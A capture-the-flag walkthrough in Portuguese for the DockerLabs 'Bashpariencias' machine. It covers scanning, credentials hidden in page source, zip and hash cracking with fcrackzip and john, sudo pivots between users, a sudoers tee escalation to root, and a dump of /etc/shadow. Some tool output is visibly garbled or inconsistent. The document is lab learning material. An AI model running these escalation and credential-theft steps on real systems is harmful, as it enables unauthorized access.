



Bashpariencias

Autor: firstatack

Dificultad: Medio

Fecha de creación:
09/06/2024

nmap 172.18.0.2 -sS -sC -sV --open -p- -T5 -n -Pn

```
(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# nmap 172.18.0.2 -sS -sC -sV --open -p- -T5 -n -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 00:11 -03
Nmap scan report for 172.18.0.2
Host is up (0.0000080s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd
|_http-title: Leeme
|_http-server-header: Apache
8899/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_ 256 a3:b0:db:99:e4:c6:a5:b2:5d:2b:36:b6:3e:d0:15:00 (ECDSA)
|_ 256 8f:26:4e:8c:60:28:5c:14:03:b2:45:22:ae:e1:f9:24 (ED25519)
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds
#
```

gobuster dir -u <http://172.18.0.2> -w /usr/share/wordlists/dirb/big.txt -x txt,php,html -t 50

```
(root@soja)-[~/dockerlabs/maq.cachopo] 172.18.0.2
# gobuster dir -u http://172.18.0.2 -w /usr/share/wordlists/dirb/big.txt -x txt,php,html -t 50
```

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```
[+] Url: http://172.18.0.2
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html
[+] Timeout: 10s
```

Starting gobuster in directory enumeration mode

```
/.htaccess.php https: (Status: 403) [Size: 199] 18:36 -05
/.htaccess.html 72.22. (Status: 403) [Size: 199]
/.htpasswd 00305: later (Status: 403) [Size: 199]
/.htpasswd.html top po (Status: 403) [Size: 199]
/.htpasswd.php 8 VERSI (Status: 403) [Size: 199]
/.htpasswd.txt Apache (Status: 403) [Size: 199]
/.htaccess me (Status: 403) [Size: 199]
/.htaccess.txt Apache (Status: 403) [Size: 199]
/app.html show opens (Status: 200) [Size: 7989] Ubuntu Linux; protocol 2.0)
/css 00305: later (Status: 301) [Size: 230] [→ http://172.18.0.2/css/]
/form.html 99:04:06:05 (Status: 200) [Size: 10232] (ECDSA)
/images 00:00:00:00:00 (Status: 301) [Size: 233] [→ http://172.18.0.2/images/]
/index.html 0A:00:00:00 (Status: 200) [Size: 4655]
/server-status 0x: CPE (Status: 403) [Size: 199]
/shell.php (Status: 200) [Size: 1558]
Progress: 81876 / 81880 (100.00%) Get any incorrect results at https://nmap.org/submit/ .
```

Finished

Sample application

Search

Search

Dashboard

Inbox14

Orders

Products

Customers

Reports

#	Item	Actions
1	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
2	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
3	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
4	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
5	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
6	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
7	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
8	Some item on your list	<div><div>Edit</div><div>Delete</div></div>
9	Some item on your list	<div><div>Edit</div><div>Delete</div></div>

USUÁRIO: rosa

Sample form

Billing address

First name

Last name

Username

Email (Optional)

Address

Address 2 (Optional)

Country

State

Zip

Your cart

3

Product name	\$12
Brief description	
Second product	\$8
Brief description rosa	
Third item	\$5
Brief description	
Total (USD)	\$20

Promo code	Redeem
------------	--------

CODIGO FONTE: possivel USUARIO e SENHA: **rosa: lacagadenuevo**

```
view-source:http://172.18.0.2/form.html?paymentMethod=on
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
20 <div class="bg-dark navbar-dark text-white">
21 <div class="container">
22 <nav class="navbar px-0 navbar-expand-lg navbar-dark">
23 <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNavAltMarkup" aria-controls="navbarNavAltMar
24 <span class="navbar-toggler-icon"></span>
25 </button>
26 <div class="collapse navbar-collapse" id="navbarNavAltMarkup">
27 <div class="navbar-nav">
28 <a href="index.html" class="pl-md-0 p-3 text-white">Start</a>
29 <a href="app.html" class="p-3 text-decoration-none text-white">App example</a>
30 <a href="form.html" class="p-3 text-decoration-none text-white">Form example</a>
31 </div>
32 </div>
33 </nav>
34
35 </div>
36 </div>
37
38
39
40 <div class="container py-5 mb5">
41
42 <h1 class="mb-5">Sample form</h1>
43
44 <div class="row py-4">
45 <div class="col-md-4 order-md-2 mb-4">
46 <h4 class="d-flex justify-content-between align-items-center mb-3">
47 <span class="text-muted">Your cart</span>
48 <span class="badge badge-primary badge-pill">3</span>
49 </h4>
50 <ul class="list-group mb-3">
51 <li class="list-group-item d-flex justify-content-between lh-condensed">
52 <div>
53 <h6 class="my-0">Product name</h6>
54 <small class="text-muted">Brief description</small>
55 </div>
56 <span class="text-muted">$12</span>
57 </li>
58 <li class="list-group-item d-flex justify-content-between lh-condensed">
59 <div>
60 <h6 class="my-0">Second product</h6>
61 <small class="text-muted">Brief description rosa</small>
62 <p style="visibility: hidden;">rosa:laacagadenuevo</p>
63 </div>
64 <span class="text-muted">$8</span>
65 </li>
66 <li class="list-group-item d-flex justify-content-between lh-condensed">
67 <div>
68 <h6 class="my-0">Third item</h6>
69 <small class="text-muted">Brief description</small>
70 </div>
71 <span class="text-muted">$5</span>

```

ssh rosa@172.18.0.2 -p 8899

```
(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# ssh rosa@172.18.0.2 -p 8899
The authenticity of host '[172.18.0.2]:8899 ([172.18.0.2]:8899)' can't be established.
ED25519 key fingerprint is SHA256:cAzGwxFNfaiSQuDgfdHmtfdku3N1QR540TRKR83fyw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[172.18.0.2]:8899' (ED25519) to the list of known hosts.
rosa@172.18.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.11-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Jun  9 03:20:54 2024 from 172.23.0.1
rosa@24a31f416546:~$
```

COMANDO OU FERRAMENTA TREE, para ver as pasta e arquivos no

formato de arvore:

```
rosa@24a31f416546:/home$ tree
```

```
rosa@24a31f416546:/home$ tree
.
├── carlos [error opening dir]
├── juan [error opening dir]
├── megasecret.txt
├── rosa
│   ├── backup_rosa.zip
│   └── irresponsable.txt
└── ubuntu [error opening dir]

6 directories, 3 files
rosa@24a31f416546:/home$
```

Análise da Saída

1. Estrutura Hierárquica:

- `.`: Refere-se ao diretório atual, que é `/home`.
- `├── carlos [error opening dir]`: Indica que o diretório `carlos` existe, mas não pôde ser aberto (possivelmente por causa de permissões).
- `├── juan [error opening dir]`: O mesmo ocorre para o diretório `juan`.
- `├── megasecret.txt`: Este é um arquivo que está no diretório `/home`.
- `├── rosa`: Este diretório contém um subdiretório `-`, que parece ter dois arquivos: `backup_rosa.zip` e `irresponsable.txt`.

TRANSFERÊNCIA DE ARQUIVO PELO SERVIDOR `python3 -m http.server` para a maquina atacante.

```
rosa@24a31f416546:~/-$ ls
backup_rosa.zip  hash.txt  irresponsable.txt
rosa@24a31f416546:~/-$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.18.0.1 - - [28/Sep/2024 00:53:11] "GET / HTTP/1.1" 200 -
172.18.0.1 - - [28/Sep/2024 00:53:12] code 404, message File not found
172.18.0.1 - - [28/Sep/2024 00:53:12] "GET /favicon.ico HTTP/1.1" 404 -
172.18.0.1 - - [28/Sep/2024 00:53:23] "GET /backup_rosa.zip HTTP/1.1" 200 -
172.18.0.1 - - [28/Sep/2024 00:53:26] "GET /hash.txt HTTP/1.1" 200 -
172.18.0.1 - - [28/Sep/2024 00:53:35] "GET /irresponsable.txt HTTP/1.1" 200 -
□
```

MAQUINA ATACANTE BAIXOU O ARQUIVO ZIP PELO NAVEGADOR <http://172.18.0.2:8000/>

Directory listing for /

- [backup_rosa.zip](#)
- [hash.txt](#)
- [irresponsable.txt](#)

COMANDO DE FORÇA BRUTA PARA SABER A SENHA DO ARQUIVO backup_rosa.zip.

`fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup_rosa.zip`

found file 'password.txt', (size cp/uc 25/ 13, flags 9, chk 1b29)

PASSWORD FOUND!!!!: pw == " 123123" senha de ROSA

MÁQUINA ATACANTE



```
(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup_rosa.zip
found file 'password.txt', (size cp/uc 25/ 13, flags 9, chk 1b29)

PASSWORD FOUND!!!!: pw == 123123

(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# unzip backup_rosa.zip
Archive: backup_rosa.zip
[backup_rosa.zip] password.txt password:
extracting: password.txt

(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# cat password.txt
hackwhitbash

(root@soja)-[~/dockerlabs/maq.bashpariencias ]
#
```

MÁQUINA VITIMA



```
rosa@24a31f416546:~/$ ls
backup_rosa.zip irresponsible.txt password.txt
rosa@24a31f416546:~/$ cat password.txt
hackwhitbash
rosa@24a31f416546:~/$
```

SENHA USUÁRIO JUAN : hackwhitbash

```
rosa@24a31f416546:/home$ su juan
Password:
juan@24a31f416546:/home$
```

EXPLICAÇÃO DO COMANDO `sudo -l`

O comando `sudo -l` é uma ferramenta útil em sistemas baseados em Unix e Linux, que permite aos usuários verificar quais comandos eles podem executar com permissões elevadas usando o `sudo`.

Aqui está uma explicação detalhada de como o comando funciona e o que cada parte da saída representa:

- **sudo**: Este comando permite que um usuário execute comandos com os privilégios de outro usuário, normalmente o superusuário (root). É uma maneira de realizar operações que requerem permissões elevadas sem precisar fazer login como root.
- **-l**: Esta opção significa "listar". Ao usá-la, você solicita ao `sudo` que liste as permissões do usuário atual, ou seja, quais comandos ele pode executar com `sudo`.

O Que o Comando Faz

1. **Verificação de Permissões**: Quando você executa `sudo -l`, o sistema verifica as regras no arquivo de configuração do `sudo` (`/etc/sudoers`) e retorna as permissões específicas que se aplicam ao usuário que executa o comando.
2. **Informações do Usuário**: O comando lista quais comandos o usuário pode executar e sob quais condições, como se precisa ou não fornecer uma senha.

Vamos analisar a saída do comando `sudo -l` linha por linha e entender o que cada parte significa.

1. Matching Defaults entries for juan on 24a31f416546:

Esta linha indica que as configurações padrão do `sudo` aplicáveis ao usuário `juan` na máquina chamada `24a31f416546` estão sendo mostradas.

2. `env_reset, mail_badpass,`

Estas são opções padrão do `sudo` que se aplicam a `juan`:

- `env_reset`: Esta opção faz com que o `sudo` redefina as variáveis de ambiente para um conjunto seguro antes de executar um comando. Isso é feito para evitar que variáveis potencialmente inseguras (como `PATH`, que pode ser manipulada) afetem a execução do comando.
- `mail_badpass`: Quando essa opção está habilitada, se um usuário tenta usar `sudo` e falha na autenticação (ou seja, a senha está errada), o `sudo` pode enviar um e-mail ao administrador do sistema informando sobre a falha. É uma medida de segurança para monitorar tentativas de acesso não autorizado.

3. `secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,`

Esta linha define um caminho seguro para os executáveis que o `sudo` pode acessar. Isso significa que, ao executar comandos com `sudo`, o `PATH` será redefinido para incluir apenas esses diretórios, aumentando a segurança, pois impede a execução de comandos potencialmente maliciosos que poderiam estar em outros diretórios.

4. `use_pty`

Esta opção permite que o `sudo` use um terminal pseudo (pty). Isso pode ser útil para manter o comportamento interativo dos comandos executados, permitindo que eles funcionem corretamente em um terminal, como no caso de comandos que esperam interações do usuário.

5. `User juan may run the following commands on 24a31f416546:`

Esta linha indica que a lista a seguir mostrará quais comandos o usuário `juan` pode executar com `sudo`.

6. `(carlos) NOPASSWD: /usr/bin/tree`

- ◇ `(carlos)`: Isto significa que `juan` pode executar o comando sob a identidade do usuário `carlos`.
- ◇ `NOPASSWD`: Esta parte indica que `juan` não precisa fornecer uma senha ao executar o comando especificado. Isso é útil para automatizar tarefas onde a entrada de senha seria um obstáculo.
- ◇ `/usr/bin/tree`: Este é o caminho completo para o comando `tree`, que é uma ferramenta que exibe a estrutura de diretórios de forma hierárquica.

7. `(carlos) NOPASSWD: /usr/bin/cat`

A mesma explicação se aplica a esta linha:

- ◇ `juan` pode executar o comando `cat` sob a identidade do usuário `carlos` sem precisar fornecer uma senha.

Resumo

A saída do comando `sudo -l` informa que o usuário `juan` pode executar os comandos `tree` e `cat` como o usuário `carlos`, sem necessidade de senha. Isso fornece uma oportunidade para `juan` acessar informações que normalmente não poderia, usando os comandos permitidos. Por exemplo, ele pode listar o conteúdo de diretórios que pertencem a `carlos` ou visualizar arquivos com `cat`, contornando as permissões normais de acesso.

```

juan@24a31f416546:/home$ sudo -l
Matching Defaults entries for juan on 24a31f416546:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User juan may run the following commands on 24a31f416546:
    (carlos) NOPASSWD: /usr/bin/tree
    (carlos) NOPASSWD: /usr/bin/cat
juan@24a31f416546:/home$ sudo -u carlos tree /home/carlos
/home/carlos
└─ password

1 directory, 1 file
juan@24a31f416546:/home$ sudo -u carlos /usr/bin/cat /home/carlos/password
chocolateado
juan@24a31f416546:/home$

```

SENHA USUÁRIO CARLOS: chocolateado

O Que Aconteceu?

- **Comando Executado:** `echo 'carlos ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/carlos`
- A linha `carlos ALL=(ALL) NOPASSWD: ALL` foi adicionada ao arquivo `/etc/sudoers.d/carlos`.
- Isso significa que o usuário `carlos` agora pode executar qualquer comando como qualquer usuário (incluindo root) sem ser solicitado a fornecer uma senha.
- **COMANDO PARA ABRIR UMA NOVA SHELL MAS AGORA COMO ROOT:** `sudo -i`

O que isso faz? Abre uma nova shell como root, permitindo que você execute comandos com privilégios elevados.

```

carlos@24a31f416546:/tmp$ echo 'carlos ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/carlos
carlos ALL=(ALL) NOPASSWD: ALL
carlos@24a31f416546:/tmp$ sudo -l
Matching Defaults entries for carlos on 24a31f416546:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User carlos may run the following commands on 24a31f416546:
    (ALL) NOPASSWD: ALL
    (ALL : NOPASSWD) /usr/bin/tee
carlos@24a31f416546:/tmp$ sudo su
root@24a31f416546:/tmp# whoami
root
root@24a31f416546:/tmp# bash
root@24a31f416546:/tmp#

```

EXPLORANDO A MAQUINA :

cat shadow

```

root@24a31f416546:/etc# cat shadow
root:$y$j9T$FQ9Dttq/0aoDg2djGC7*1.$SRM0TtJczzXjJ0ijUzRYQdA0juhEuDjgdQrjVH59p18:19881:0:99999:7:::
daemon*:19842:0:99999:7:::
bin*:19842:0:99999:7:::
sys*:19842:0:99999:7:::
sync*:19842:0:99999:7:::
games*:19842:0:99999:7:::
man*:19842:0:99999:7:::
lp*:19842:0:99999:7:::
mail*:19842:0:99999:7:::
news*:19842:0:99999:7:::
uucp*:19842:0:99999:7:::
proxy*:19842:0:99999:7:::
www-data*:19842:0:99999:7:::
backup*:19842:0:99999:7:::
list*:19842:0:99999:7:::
irc*:19842:0:99999:7:::
_apt*:19842:0:99999:7:::
nobody*:19842:0:99999:7:::
ubuntu!:19842:0:99999:7:::
systemd-network:!:19880:0:99999:7:::
systemd-timesync:!:19880:0:99999:7:::
messagebus:!:19880:0:99999:7:::
systemd-resolve:!:19880:0:99999:7:::
sshd:!:19880:0:99999:7:::
juan:$y$j9T$K6ssXSf5mBjz05pe2Logl/$f6y14g7LA0m9sdyD0xygNxz.lCSdvBdEf0ImDvinme4:19880:0:99999:7:::
carlos:$y$j9T$wxVMDppygi3bdB87hYI51.$lThwcZtOdyUzzRRYMnA0mF6p75ojuEdGczVEX3Z4e68:19881:0:99999:7:::
rosa:$y$j9T$38P2p9tPYGrZyFvXty1h00$UlhCYW2Q4gaMBEAMPKZp6FyeVebHunjdmgl0ha9EM74:19880:0:99999:7:::
root@24a31f416546:/etc#

```

HASHES ROOT

```

(root@soja) [~/dockerlabs/maq.bashpariencias]
# nano hashes.txt

(root@soja) [~/dockerlabs/maq.bashpariencias]
# cat hashes.txt
$y$j9T$FQ9Dttq/0aoDg2djGC7*1.$SRM0TtJczzXjJ0ijUzRYQdA0juhEuDjgdQrjVH59p18

```

COMANDO PARA QUEBRAR A hashes.txt do usuario **root**:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt

hashes.txt

```

(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
1234567890 (?)
1g 0:00:00:01 DONE (2024-09-28 05:27) 0.9009g/s 86.48p/s 86.48c/s 86.48C/s 123456..yellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(root@soja)-[~/dockerlabs/maq.bashpariencias ]
# john --show hashes.txt
? 1234567890

```

SENHA ROOT: 1234567890

```

carlos@24a31f416546:/tmp$ echo 'carlos ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/carlos
carlos ALL=(ALL) NOPASSWD: ALL
carlos@24a31f416546:/tmp$ sudo -l
Matching Defaults entries for carlos on 24a31f416546:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User carlos may run the following commands on 24a31f416546:
    (ALL) NOPASSWD: ALL
    (ALL : NOPASSWD) /usr/bin/tee
carlos@24a31f416546:/tmp$ sudo su
root@24a31f416546:/tmp# whoami
root
root@24a31f416546:/tmp# bash
root@24a31f416546:/tmp#

```

BOB MARLEY

